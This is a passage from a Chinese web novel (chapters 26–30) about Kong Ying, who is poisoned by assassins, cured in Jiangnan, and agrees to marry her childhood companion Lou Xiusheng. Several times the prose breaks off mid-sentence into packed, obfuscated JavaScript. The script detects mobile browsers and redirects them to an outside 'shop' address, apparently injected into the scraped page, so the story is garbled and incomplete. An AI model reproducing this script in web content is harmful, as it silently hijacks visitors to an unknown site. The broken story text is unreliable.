张三故弄玄虚,将孔英的好奇心吊到了顶,才缓缓说道: “而你的慧根,就在一个‘情’字。” 结束和张三的对话之后,两人收拾包袱下山,途中孔英一直沉默不语,让楼修生好着急。 他不知道那张三到底跟孔英说了什么,让平日叽叽喳喳的人成了这副样子,终于忍耐不住想要询问之时,却见孔英突然抬头,神色极其认真: “小弟,我决定回京城成亲了。” 26. 孔英要解毒下江南 那天被孔英突如其来的决定炸了个昏头,楼修生被惊得旧伤复发疼痛难忍,两人不得不在真岱郡多待几日。 孔英亲眼见了楼修生疼得昏倒,一下子大惊失色,抱起他就往医馆里冲,幸好大夫看了之后说并不伤害性命,只是得避免好好静养避免舟车劳顿。 这下子回京城的日子得后延了。 “你这伤势不会是都快好了吗?怎么突然变这么严重,早知道就不该让你一起去岱山上。”孔英还以为是楼修生爬岱山时劳累过度引起的复发,一时间难免埋怨对方逞强。 刚喝过汤药的楼修生浑身上下散发出一股苦涩气息,闻起来像是个药罐子。他眼中十足的歉意:“我也不知道会这样,真是抱歉让你回家的计划延迟了。” 孔英看着对方虚弱的样子,心里也不好受,想着等回到京城得给对方请个神医瞧瞧。 “没事,你好好修养,不用放在心上。” 楼修生嘴角扬起一个浅弱的微笑:“嗯。” 也不知道张三到底是跟孔英说了什么,前几天还对婚约不屑一顾的人,忽然说要回京城待嫁,反正肯定不是因为突然爱上了他这个“素未蒙面”的未婚夫。 不知道楼修生心中复杂难言的心思,孔英的小日子过得很是舒坦,还抽空将真岱郡逛了个遍,发现此地不愧是天下武林人汇聚之地。 若是天上掉下一块石头来,能砸死四五个会武的。 她趁此难得机会与多方高手切磋,居然还发现几个曾经在京城擂台交过手的人,其人比起京城时,招式精炼不少,只是没有认出自己。 她依旧赢了,却感慨自己进步不如对方,更加下定决定要想办法开自己的慧根。 而意外只多不少,某日孔英正与对手打得酣畅淋漓,眼睛突然被闪烁一瞬,双手凭直觉举起,飞镖正好被用来格挡攻击的护臂弹飞。 “!” 旁观的众人皆是一惊,对手被突发的变故搞得不得不停下攻势,解释道:“不是我……” 孔英当然知道不是对方下的暗手,但此刻已经没有多余时间解释,抓住对方的领子往下拽,躲开更多的飞镖。 好好好,又来暗器这一招是吧。 孔英算是认识到了什么叫“追杀”,这追风阁还真是躲到天涯海角都不放过。扫眼四周,此处人多,要是在此缠斗势必会误伤无辜人。 她难得忍下怒气,转身拔腿就跑:“今日比试暂停,下次有机会继续。” 对手还没搞清楚发生了什么就被拽倒在地,傻傻望着孔英的声音消散在风里。 这几日下来孔英对真岱郡地势熟悉不少,特地往偏僻处跑,借助地形侦察着这批杀手人数几何,盘算着自己有多少胜算。 东西南北跑,把杀手溜进了一条死胡同。 乍然发现眼前的人影消失不见,杀手茫然之后立刻反应过来自己中了圈套,不期然头顶传来嘲笑声: “你们还不如上一批呢,上一批人好歹知道打不过就多派些人,这次居然才派出了四五个人?” 为首的杀手并不多废话,径直掏出两颗小球向蹲在墙上的孔英直面射去。 小球在空中相撞,球体表面裂开迸发出一阵紫灰色的烟雾,孔英脸色一变,匆忙闭气跳下墙体另一侧,却还是吸入了毒雾。 玩脱了,早知道就早点逃走了…… 孔英用袖子捂住口鼻,暗恼杀手下阴招,顺着记忆里医馆的方向跑去,脚步却不受控变得踉跄。 感受到身后的人依旧在穷追不杀,孔英顺手捡起地上的石子,顾不得瞄准就直接向后砸去。听见身后传来沉闷的倒地声,正想要如法炮制,心胸传来一阵剧痛。 “嘭!” 她脚下发软跌倒在地,昏迷前最后见到的是几个闪现出的黑衣人。 欸,最近这么流行穿黑衣服的吗? 不知是不是吸入毒药的缘故,偏偏在这种十万火急的时刻,孔英脑海里古怪的念头一个又一个,直到她晕晕乎乎醒来,发现自己好端端躺在客栈的床上。 “嘶……” 没缺胳膊没断腿,但是全身筋脉紊乱,像是有老鼠在啃食自己的血肉般疼。 而此刻的楼修生见孔英醒来,悬着心总算落地。 幸好幸好,但凡他的人再慢一步,那后果……楼修生一阵后怕,压下想要起身的孔英,柔声细语解释: “你中了药,不可多使力气,否则药劲发挥得更厉害。” 心想无需多增孔英的恐惧,他没说出那药的名字叫作“灭神散”,只轻飘飘解释着毒药的原理。 眼见熟悉的人,孔英松出一口气,听从对方的话语安心躺下:“我怎么会在这里?”话一出口才惊觉自己嗓音异常沙哑。 楼修生抿了抿唇:“……是有好心人路过救下你。你不用担心,杀手已被尽数抓捕。” 孔英苦笑,没想到前几天是自己照顾楼修生,现在形式反过来自己成了被照顾的那个。 还是自己大意太过轻敌,早该想到对方留有后手。 夏日炎热,屋内摆放了冰桶,冒出白色的霜气,楼修生用团扇轻轻挥着,散去她身上的燥热。 “这种药产于江南,解药也只有在江南才有。”楼修生解释着,“回京城的日子恐怕得再往后拖一拖了。” 一声叹息。 江湖险恶,原本自己仗着武功高强走到哪里都不怕。这下好了,武功没法用,引以为傲的一身力气也无处使。如果不是恰好有人路过救下自己,会不会…… “不会。”楼修生斩钉截铁,“我不会让你出事。” “你自己的伤势都还没好全,难道还有功夫照顾我?” 楼修生听出孔英说这话时的语气和平日大不相同,受到轻视本想反驳的他愣住,“哎呀”一声起身,手忙脚乱摸出柔软的锦帕,拭去她眼角泛出的泪花。 不管身手如何,到底也才只有十六岁。 一路走来跌跌撞撞,凭自己的善心做事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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暂且不论为红颜还是为老大,孔英体内的毒只是暂且用药压下,却等不了太久。两人速速启程,雇上最好的马车和镖局人手,直奔江南。 为减弱毒药的症状进一步加重,孔英一路上几乎都缩在马车上休养生息,不复从前生龙活虎,反而是楼修生跑上跑下照料她。 一开始孔英还觉得挺不错,这才是自己收小弟的作用嘛!还想着要不再多收几个小弟为自己所用,这样她岂不是能足不出户而指哪打哪? 但被人伺候的日子过久了,精神上就懈怠起来。日日只能看着楼修生早起练早功,自己却什么都做不了,孔英还是觉得有些事就该自己亲力亲为。 最使人恐惧的是,她发现自己居然对楼修生产生了依赖。 要做什么事情,首先想到的就是喊他,只消等上几秒钟,对方就会立马出现在自己面前听候吩咐,而且还百依百顺。 这样下去可不行啊! 这种生活状态颇受孔英不齿,她暗暗下决心,等解了身上的毒,自己定然要断了这种凡事以赖他人之手的日子。 当下嘛……当然是好好享受咯。 27. 孔英要求医探往昔 一入江南,楼修生便带着孔英直奔毒医圣手处。 据说这毒医圣手专门问诊各类毒症,对于各种疑难杂症手到擒来,但有个原则就是不出江南,因而病患也只能去江南就诊。楼修生花大价钱进了毒医圣手的门扉,发现这位传说中的圣手是个头发花白面容阴沉的老妪。 明明是白天,屋内却因只有一扇小窗透光而显得昏暗,湿冷的气息嗅入肺腑,仿佛全身都不得自在。 毒医性格古怪难与人亲近,此时毫不客气地责令无关人士离开,楼修生无法,只得细声对孔英说自己在门口等着,捏了捏她的手心以作安抚。 紧赶慢赶,灭神散的毒还是在体内蔓延开来,筋脉泛出淡紫色,连带着孔英的唇瓣发青。她近日越来越发觉自己手脚无力,每每入夜还浑身上下疼得发抖,后来已经虚弱到说不出话的地步。 此时见到毒医圣手,心中自然是大喜过望,想要早日摆脱当下做什么事都无能为力的状态。 毒医着一身藏青色长袍,白发用银簪挽起盘成妇人髻,贴到孔英身上的手冰凉阴冷。从头骨开始,犹如细蛇蜿蜒过她身体的分分寸寸。 孔英忍着别扭,突然感觉到毒医动作一顿,俯下身子贴近她,恍然大悟般说着: “哦,是你。” 不等孔英反应过来,毒医又自顾自说着:“你身子好了许多,所谓‘命格相补’的说法难道还真有用?” “不过你怎么又中了灭神散呢,难道你真是命中有劫?怪了怪了。” 毒医边自说自话边将孔英全身上下的筋骨摸了个遍,孔英有心询问她的话是什么意思,只是有心无力,眼睁睁看着毒医不知从何处取出一个晶莹剔透的玉盒。 “啪嗒。”打开玉盒的响声在一片安静中格外明显。 毒医手指点了点孔英的面颊,轻微的刺痛感之后,孔英眼睛徒然睁大,察觉到有什么东西钻进自己的皮肤里,带来一阵粘腻的濡湿感。 不知是心理作用还是蛊虫的作用,似乎蛊虫爬过的地方都成了一片火燎的灼烧感,又痒又痛。她倒吸一口冷气,双手却被毒医轻而易举钳制,只听见一声责怪:“小心点,别吓到它。” 吓到谁?现在是谁被吓到了啊! 孔英只好忍耐着疼痛,心里咒骂着买凶杀人的幕后黑手害自己吃那么多苦头,转移注意力。然而时间还是过得太慢,就在孔英快要昏厥过去之前,毒医终于唤人进来。 楼修生急急忙忙上前,见孔英气息微弱地躺在竹床上,一副出气多进气少的模样。 “之后每七天来我这泡药浴,泡够四次,这毒也算是消了。” 楼修生摸到孔英烫得不正常的肌肤,目光描摹着那张从重逢起就是活力十足的脸,如今却眉头紧锁闭着双眼,心疼地将她的手贴在自己面庞上。 “她看上去好难受,有没有什么办法让她没这么疼?” 毒医语气淡淡:“将毒引到你身上,让你来代她受苦,你愿意吗?” 楼修生毫不犹豫:“当然愿意!我需要怎么做?” 毒医闻言,细细看了眼楼修生,恶作剧成功般阴郁一笑:“没这样的好事。看了病就赶紧走,不要耽误别人看病。” 楼修生被戏弄,恼火之下又想到未来还有求于毒医圣手,胸口的气一下子泄了,垂头道声谢后,带着孔英离开。 他们在江南的住所不是别处,正是孔英年幼时的居所。 孔英遭到追杀还意外中毒可不是小事,楼修生早就差人给护国公送去消息,并告知对方他们将去江南求医。 快马加鞭的回信没几天就到了,护国公的手迹粗犷潦草,直指楼修生没能照顾好孔英,怒气冲冲地说等他回京城要治他的罪,同时更是派遣几支精锐暗卫来保护他们。 理所当然,楼修生和孔英住进了久别的院落。 此地闲置已久,但尽职尽责的下人定期打扫,因而可直接住人。此处本就是护国公为照顾幼年时病弱的孔英而特地购置,清幽宜人,十分适合静养。 楼修生故地重游,环视着和自己记忆里几乎没有差别的四周景象,生出几分惆怅。 物是人非。 他推着轮椅带孔英四处逛,边向她诉说着曾经两人是如何在这院落嬉戏游闹,孔英在此地度过了人生的前六个年头,是近十年过去,记忆早就模糊,许多事都记不清楚。 “你当时身体不好,你父亲为护你安全,不许你走出院落太远。这附近又没别的人家,所以你最喜欢和我待在一起。” 楼修生甚至还充当过一段时间孔英奶娘般的角色,混在一众嬷嬷丫鬟间,瞧着小孔英那肚皮里是如何灌下一碗又一碗汤药。 之前孔英嫌他喝药喝得整个人都泛着苦味,可实际上,她小时候吃的药一点都不比楼修生少。那么苦的药,小孔英能面不改色喝光,只是喝了药之后就不肯说话,用手指着让楼修生抱着她出去透气。 她太轻了,不用费什么力气就能抱动,皮包着骨头的手搭在楼修生肩上,轻飘飘宛若一张纸。 等远离了嬷嬷丫鬟的视线,彼时年纪尚小的楼修生就掏出一块糖饼掰成两半,将小的那一半递给小孔英。并不是他吝啬,而是大夫嘱咐过小孔英身弱须要克制饮食。 但是楼修生一看孔英被药苦得眼泪花花,内心不忍,像被人打了一拳般难受,于是悄悄和小孔英约定乖乖吃药就可吃一次糖饼。 可惜每天都丢的糖饼逃不过厨娘的眼睛,事情很快败露。楼修生受罚,并被严令禁止投喂小孔英。 不能吃糖,生活的苦闷要如何消解呢? 楼修生便带着小孔英去书房里读故事书。她年纪小不认字,就由他一点点念。小孔英往往会安静缩在楼修生怀里,见纸页上的方块拼凑成她从未见过、也不知道有没有机会见的四方院落之外的世界。 “所幸你现在亲眼见过了。” 从书房的窗子能看见院子里绿郁葱茏的树,孔英知道现在正是它最枝繁叶茂的时候,一旦时节过了,叶子便会极速由绿变黄,衰落凋零下来。 毒医的蛊虫确实很有用,她如今已经能正常下地走路,只是楼修生不愿她过度劳累,半强迫她继续坐在轮椅上。 孔英冷不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这件事情瞒着孔英,但没刻意瞒着楼修生,几乎府上所有人都知道他是为改小姐的命格才来,对两人日渐亲昵的接触也不阻止。 “你小时候可喜欢我了,护国公给你带了什么玩意,你总要分我一份。” 当时新朝初建事务繁忙,护国公京城江南两头跑,孔英的两个哥哥也只在太学休假时才能来江南看望她。 年轻气盛的少年见不得自己妹妹对一个外人比对自己还好。大哥心直口快脾气暴烈,二哥笑面狐狸惯使阴招,两人没少给楼修生下绊子。 然而,那又怎样?反正孔英是站在他这边的。 每次受了委屈,楼修生就跑去找孔英,刻意让两兄弟看见自家妹妹是如何亲近一个外来人,将眉头一挑,嘲笑讽刺的目光落在气得炸毛的两兄弟身上。 总归孔英离不开楼修生。 “那后来,为什么我回了京城,而你留在了江南?” 28. 孔英要追忆逐年华 这就是另一个故事了。 小孔英跌跌撞撞长到六岁,楼修生也陪了她六年。或许真是命中的定数,孔英虽然依旧体弱,却比刚出生时好了太多。 正巧年关将至,护国公带着两个儿子来江南与孔英一起过年,终于放松了对孔英活动范围的限制,大手一挥让几个孩子出门畅快地撒野。 楼修生抱起小孔英的动作已经十分熟练,不理会身后的兄弟两人用羡慕嫉妒的眼光。大哥和二哥对视一眼,争着上前用手里的小玩具逗弄着脸颊上软肉渐盈的妹妹。 几人打打闹闹。 今年江南难得落雪,被皮草裹得严严实实的小孔英伸出手,雪花落在手心里,带来从没有过的新奇体验。 衣领被轻轻扯动,楼修生感觉到怀中人的动静,低头发现孔英扭过身子直直看向不远处——那是一座面上覆了薄冰的湖水。 迎面吹来院子里的热风,孔英却无端觉得浑身发冷。似乎是那年冬天的雪直到今日才在她骨头里融化开,掠去了她的温度与气息。 “……” 楼修生俯下身包住孔英颤抖的手,语气里难掩自责:“是我没有照顾好你,害你差点失足跌入湖中。” 天知道当他看见孔英摔倒的那一刻心里有多么恐慌,行动快过思想,扑上前抓住孔英将她往岸上推。自己却脚下打滑,失去重心摔进冰湖里。 楼修生被救上来时面色青紫手脚僵硬,如果不是女儿的眼泪让护国公产生了恻隐之心,护国公恐怕已经放弃楼修生,另寻一个和孔英八字匹配的人。 幸好幸好,楼修生命大。这句话不止现在的孔英默念着,年幼的孔英也曾在心里念叨了几百遍。 小孔英因此受到惊吓高烧不退,原本喜庆的气氛一扫而空,全府上下愁云惨淡。护国公百般无奈之下请来国师。 国师查看过两人情况,断定孔英命中劫数已解,此后一生不会再有过不了的难关。 与此同时,小孔英终于在悉心照顾下情况转好,在护国公回京时和家人一起离开江南。 至于楼修生,毕竟他的价值已经耗尽,护国公知道他被救回来一命之后便不再多管,念在他好歹陪伴孔英六年时光,赐楼修生一笔重金,特地允许他将身子养好再离开。 经此一别,辗转十年。 那场高烧过后,孔英遗忘前尘旧事,身子骨越来越好。护国公终于能将一身本领传授给女儿,一家四口人不用再分隔两地,一切事都欣欣向荣。 孔英最喜欢跑的地方就是父兄所在的练兵场。虽然也因此没少受到父兄说教,不过他们联想到孔英幼年瘦弱凄苦的样子,一致认为喜欢锻炼身体也不是什么坏事。 没成想后来孔英仗着一身武艺成了京城里绝不好惹的女霸王,至今无人敢上门提亲。老父亲愁白头,女儿抗争不过怒而出走,牵连出后续的所有事。 孔英似有所感,盯着楼修生那张俊朗俏脸,心头冒出个不可思议的念头。 “那么,我该叫你楼微,还是楼、修、生?” 怎么就这么巧呢,孔英正好救下的陌生人就是从前的玩伴竹马,离家出走这么久都没听到护国公府寻人的消息,而她一出事护国公府立马就派人来了。 楼修生心知孔英并不蠢笨,将一切说给她听后,众多巧合自然会让被刻意隐去的真相浮出水面。 他试图解释:“我没想瞒你,谁知道你将我忘得一干二净。我还以为这么多年是护国公管着你,你才不来寻我。” 楼修生这话一出,原本自觉被做局的孔英底气都消了三分。 好像也是,他这也没隐姓埋名,还和自己坦白过两人从前就相识。 “但你也没告诉我,你就是我未婚夫啊!” 一想到自己从前还在本人面前吐槽对方的不是,孔英就觉得脚趾抓地,暗恨自己没能早早将一切串联起来:“那你明知我是为逃婚而出走,怎么还……” 话都说到这般地步,也没有什么藏着掖着的必要。楼修生索性将一切都和盘托出: “我爱慕你却不愿强迫你,若是陪你走这一遭却什么都没能改变,那我便会自请退婚,不再打扰你。” 各人有各人的算计,国师和护国公都希望两人成婚,但楼修生说的是自己心里话。强扭来的瓜不甜,即使在形势所迫下孔英妥协,楼修生也不愿面对两人成为一对怨侣的可能。 孔英呆木看着楼修生唇瓣一张一合,而她的脑袋自从听到前四个字后就直接宕机,再听不进对方后来说的话。 怎么回事,是灭神散又在侵蚀她的筋脉吗,不然自己怎么突然躯体酸麻呼吸急促心脏跳动得厉害? 孔英狠狠拧了拧眉,直觉这种体验不太美好,抬手打断正欲说话的楼修生,匆匆道:“我不太舒服,先回房了。” 说完便逃似的自己转着椅轮走了,留下一个落荒而逃的背影。 另一个人怔在原地,落寞的孤影被打在地上拉得很长。 而与江南相隔十万八千里的京城,护国公接到孔英中毒的消息后虽然已经派出人马,却还是放不下心,直接跟朝廷告假便要收拾包袱下江南,看看到底是怎么一回事。 害,早知如此,当初便不应该让孔英单独出走,就算楼修生师从国师又如何,照样护不住她。 想起这个,护国公对自己多年的老友难免心生怨怼。 哼,他就知道将两人凑一对是个馊主意,说什么让小男女在路上日久生情,小时候相处了六年,还不是生一场病就忘了? 他家孔英对那小子本来也没什么情嘛,要是出一趟门就能生出什么情,也太草率了。他家的好白菜还是在家里最安全。 护国公一边骂骂咧咧一边收拾行囊,还向皇帝从太医院借了位擅长解毒的太医,搜罗不少补身体的良药,浩浩荡荡直奔江南。 此去路途遥远,这条路护国公已经不知走了多少遍。 相隔十年重走旧路,他见沿途熟悉又陌生的景象心神恍惚。当初国师算出孔英命中有劫,护国公怨天怨地怨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288448|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己,原本意气风发的将军接连遭受妻子和女儿双重打击,迅速消瘦下去。 所有人都在庆祝新朝成立,他却在带着女儿四处求医问药。 护国公第一眼见到楼修生时,心里便不太喜欢对方那双漆黑的眼睛。说不出来原因,只是相信自己征战数年培养出来的直觉。他和前朝皇族赵家的军队斗了这么久,若是没有点直觉,也不会战场上的数次死里逃生。 但是女儿性命危在旦夕,加之国师也认证了两人八字相合,护国公只好放下疑虑,死马当活马医。 楼修生此人年纪小小身世坎坷,初见时看着阴气沉沉,如何照顾小孩倒是学得快。小孔英也愿意和他亲近,有时候连自己这个亲爹都抛在脑后。 其实也正常。 江南的气候最适合小孔英修养,护国公宠爱女儿,这庄子里吃的用的全是最好的。可是毕竟自家大本营在京城,自己又被皇帝封了护国公的头衔,按理来说不能随意出入京。 那时刚坐上龙椅没多久的南渐鸿还顾念着两人出生入死的情谊,给了孔青雄一道通关令牌,使他想见女儿即可畅通无阻。但到底隔着那么多郡县,自己一年到头也不能见女儿多少次。 小孔英时常需要人照看,上不了学堂,也没个玩伴,陪孔英时间最长的就是楼修生。两个孩子能玩到一起去,好歹让孔英没那么孤单。 护国公对国问心无愧,但一想起年纪轻轻却早早香消玉殒的妻子,就心头抽疼眼睛发酸。他唯独对不起的就是自己的家人。 世路总是走得艰难。 他不聪明,想不出两全的办法。辞官从此带着家人隐居江南?但若是没有护国公的身份,自己要如何庇护自己和妻子的三个孩子?权衡利弊之后,他选择了在京城当护国公。 只是心头的愧疚在女儿那双常泛着忧郁的眼睛中越来越深重。 孔英身体渐好,护国公跟着开心,看楼修生也顺眼不少,直到孔英六年那年的意外。 谁想到出门时还好端端的几个孩子,回来时却差点死了一个呢?仆人急匆匆拥着生死不明的楼修生回来,府上医师知道楼修生的重要性,寒冬腊月急出满头大汗。 房檐前的红灯笼还飘荡着,府上手忙脚乱一片。 护国公听自己两个儿子前言不搭后语说了经过,这位父亲的心在看见哭昏厥的女儿时碎了一地,让人无论如何也要把楼修生的命从阎王殿里抢回来。 如今那红灯笼早就不见,回到了阔别已久的庄子前,护国公带着人手急匆匆走进去,嘴里喊着孔英的名字。 终于见到自己好久不见的女儿,护国公老脸上的皱纹笑开花,正想上前却被眼前景象惊在原地。 只见楼修生居然穿了身温婉十足的月牙白衣裙,故作娇俏折了一枝新开的花骨朵,半掩着面坐在树下忸怩地笑。而自己那能以一敌十的强悍女儿此刻却手执丹青,一笔一划描摹出一副树下捻花美人图,时不时和眼前人对视,气氛自然融洽。 护国公两眼一黑。 29. 孔英要定亲回京城 “造孽,真是造孽。”护国公不愿相信,“英英啊,你莫不是鬼上身了吧,怎么还画起画来了?” 要知道她从前可是一见琴棋书画就头痛,避之如避洪水猛兽。 孔英一听父亲这话就不乐意,提着裙子翘起二郎腿:“老头!我想干什么就干什么,我还没追究你和国师一起给我下套呢,你反倒说教起我来了?” 对,这才对。护国公松了口气,看来半年不见的变化也没这么大。 “我怎么会给你下套呢?这个主意都是国师提的,你要真不愿意,我当然是站在你这边嘛。况且你们俩这相处得不是挺好的。”护国公赔着笑脸。 孔英闻言一顿,扫了眼因见家长而变得有些惶恐的楼修生,对方捏着花骨朵的手藏在身后,很不好意思地低垂着头。 “那不也是你默许的吗?” 要说孔英有多生气嘛倒也没有,护国公虽然自说自话就给她订了婚约,但也将最终的选择权交给了她。如果不说得严重点,难保下一次护国公还会不会再用这种招数。 护国公若是知道孔英的真实想法,估计要大喊冤枉。 他早在得知孔英受伤的那一刻就后悔死了,只恨不能回到和国师同谋当天,严词拒绝对方的提议。 护国公好说歹说,用为她寻来失传已久的某本武林秘籍作补偿,还承诺以后不再多干预女儿的婚事,终于让孔英消气。 护国公如今也想开了。他不过是想为女儿谋一份以后的保障,可现在来看,与其将希望寄托在孔英的婚事上,不如自己再努努力。四五十岁正是奋斗的年纪啊! 护国公正思索如何能再立个功什么的,冷不丁听见孔英悠悠说了句: “等我痊愈,就会和楼修生回京城成婚。” 欸?他是不是听错了什么。 护国公惊掉下巴,探寻的目光上上下下扫视着楼修生,眼里不自觉流露出佩服。 他一开始听孔英的说辞,还以为这桩婚事要黄了呢,结果这小子居然有点本事,真让孔英答应了下来。不过……护国公又开始惆怅起来。 这小子怎么就成功了呢,区区半年,他家孔英看不上京城那么多才俊雅士,居然看得上个布衣寒门还真是……不留恋名权富贵淡泊名利啊!不愧是他的女儿。 既然孔英喜欢,护国公当然不会说什么,激动搓着手就要去差人提前准备。路过楼修生时拍了拍他的肩以资鼓励。 楼修生受到来自未来老丈人的看好,一下子苦乐交加。思绪复杂翻飞,回到将一切对孔英和盘托出的晚上。 那日孔英抛下他独自离开,他以为自己又受了厌弃。对方能忘掉他第一次,就能忘掉第二次。而自己又有什么办法呢?脱不开就是默默等着,期盼对方偶尔也会想起自己。 说起来楼修生也觉得好笑。分明读了这么多年圣贤书,受师傅教导略通一二谋略,这些年来想做的事大都做成了,唯独在孔英这里摔了一个又一个跟头。 笑过之后心头泛起一丝苦涩。正自怨自艾之际,坐着轮椅的孔英居然去而复返。 他惊讶:“你……” 孔英面上尴尬,不如闺秀般细腻雪白的脸庞浮起浅淡的红:“咳咳,你刚才说爱慕我,那你我的婚约应该还作数?” 他哑口,脖子僵硬地点点头,反应过来后诚恳道:“你说算数便算数。” 孔英挠了挠头,神色难得认真起来:“你可还记得先前在岱山,我就说过一次要回京城成亲。” 这件事情楼修生当然忘不了。说起来要不是他旧伤复发,说不定孔英不会在真岱郡多待,更不会遇上那群杀千刀的刺客。 “实际上我对什么媒妁之约父母之言都嗤之以鼻,我可见过太多被硬凑成一对,最后不得善终的夫妻了。” 可是岱山上的张三说她天赋极佳,就是缺了个对“情”字开窍的机会,还举例说什么黯然销魂掌、什么情深意长剑等等,都是高手参悟“情”之一字后创立出来的。 孔英追问如何才能开窍,张三道这还不容易? “随便找个人嫁了,省却没必要的相知相恋,这样遇上的大概率是个渣男。体验一下被伤心伤身而逃脱不得,保证对‘情’大彻大悟!” 孔英想,好奇怪,试试吧。 楼修生听得目瞪口呆:“因为这种歪理,你就决定嫁给一个陌生人?” 他已经忘了自己口中的“陌生人”就是自己,反苦口婆心劝起孔英:“不行的啊,婚姻大事怎可作儿戏?你真正想嫁的人一定得是自己心悦之人。我早就看那个张三不对劲了,不知道哪来的骗子招摇撞骗。 “再者,参悟‘情’字为什么一定得是受情伤呢,这完全就就是歪理邪说!” 楼修生急得面红耳赤,唯恐孔英真相信了贼人的话而一头扎进圈套里去。 孔英奇怪:“你爱慕我,为何却又劝我不要和你成亲呢,你们不是都希望我和国师弟子成婚吗?” 越解释越矛盾。 楼修生噎住,喉头发涩,顿了顿,理清思路后平复情绪,重新开口道: “这个婚约能继续的前提是你能获得幸福。 “或许你身在其中而感受不到,其实你身边人的初衷都是希望你在这世上能够活得简单快乐就好。固然有时方法出了问题,但我们会尊重你的想法。 “你不需要因为别的理由嫁人,只需要对方是你自己认定的人。” 楼修生说得认真,孔英也听得认真。她好像第一次见自己这个小弟显露出这样的一面。 她承认自己一开始说的话除了因为是张三,也是有些赌气的成分。 孔英从很久之前就想不通护国公怎么这么急着将她嫁出去,又是什么“京城第一美人”的头衔,又是什么诸葛先生国师亲传。可是父亲总不会害她,或许其中有孔英不知道的隐情。 自从出走护国公府以来,孔英见识了闻所未闻的许多事,心性难回从前。 “那么,你愿意娶我吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288449|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >楼修生惊得失声,心头小鹿还没开始乱撞,对上孔英清明一片的眼底,心凉了半截。 “你的意思我听懂了,就是叫我嫁给自己喜欢的人,” “那你还……” 孔英摊手:“可是我不明白感情是如何让世人要生要死,或许还得好久才能懂。我不讨厌你,相反还觉得你看上去很顺眼。至少你长得很好看,比起以前见过那些来府上提亲的人好看多了。 “选你总比选别的不知道底细的人要好。你对我有情,我也不用担心嫁给你之后受委屈。” 还有个重要的原因是,楼修生打不过她。 曾几何时孔英对夫婿的要求还是武力值比自己高,但是经历刺杀中毒这一遭,她深深意识到力量是多么重要。尤其是枕边人,还是不要比她能打了。 不过这话孔英可不会当面说出来。 她掰着指头数楼修生比旁人更合她心意的点,越想越觉得自己这个决定很有远见。 “你的想法呢?你若不愿意,我找个别人也行的。” 楼修生脑子又乱了,不晓得事情怎么就发展到这一步,但一听到孔英要去找别人,那不管怎样都得答应下来了。 “当然愿意!” 如此这般,双方都得偿所愿。 到了七日之约,孔英前往毒医圣手处泡药浴。等孔英裹着长袍到了浴池边才发现,这哪里是药浴,分明就是各种毒草灵药大乱炖。 光是她能认出来的剧毒之物就有好几种,同理也有许多救命神药,孔英甚至还看到了她曾为楼修生在崖壁上摘的灵草。 这么多属性相冲的药材用在一个池子里泡,真不会叫她走火入魔吗? 孔英瞥了眼毒医那张阴沉沉的面,咽下疑问,颤颤巍巍走进池子。刚踏进去就感受到冰火两重天的刺激,身体内似有万千钢针乱刺,疼得孔英直捶池壁。 一旁逗弄蛊虫的毒医庆幸自己用了浴池而非木桶,不然估计孔英一拳下去木桶散架,自己这些珍稀药材就全浪费了。 “忍着吧,灭神散本就霸道,要是不用更霸道的药性压制,你这毒别想好。” 一场药浴下来,孔英险些将牙都咬碎了。本来泡药浴前她还觉得自己已经和常人差不太多,结果现在只觉得自己还不如刚中毒那会儿呢。 最后她是被人抬回府上的。 楼修生边帮替她松着筋骨边安慰她:“毒医说过程虽然痛苦,但也能淬炼你的经脉,说不准等你体内毒素全清后,会发现自己武功更上一层楼呢。” 孔英猫在床榻上时不时哼唧一声,对楼修生越发娴熟的手法十分受用,苦闷道:“我这么久没练功,不倒退就不错啦,不指望进步。” 听她突然“哎呦”了一声,吓得楼修生停下手忙问是不是按疼了她。 “就是那儿,多按会儿。” 楼修生失笑,顺从孔英的意思。他有时候会觉得原来老天对自己也不算太差,抛开曲折的过程不讲,兜兜转转还是他和孔英。 30. 孔英要叙旧上花轿 车轮子咕噜噜在护国公府前停下,孔英掀开帷幕,出走大半年回归熟悉的地方,让她心里有股难言的心安。 原先那个总拿着戒尺的管教嬷嬷不知是一直没走,还是又被请了回来。孔英一见她就觉得手心疼,刚想逃走就被护国公抓住了衣领子。 “嬷嬷,还是要多麻烦你呀。” 出乎孔英意料,管教嬷嬷居然摆出了个和蔼可亲的笑,和她印象里大不相同。原本孔英还怀疑对方是不是在护国公面前装模做样,然而接下来的日子里却发现对方确实改了性子。 难道是担心她再次出走,还是怕孔英再将她画画成鬼脸? 孔英满腹疑问,终于忍不住发问。管教嬷嬷却道:“小姐呦,若没有护国公的意思,我哪敢在您身上使戒尺呀!”管教嬷嬷还担心孔英反过来打她呢。 好嘛,原来这套这么早就下了。孔英无语,借此狠狠敲了护国公一笔。 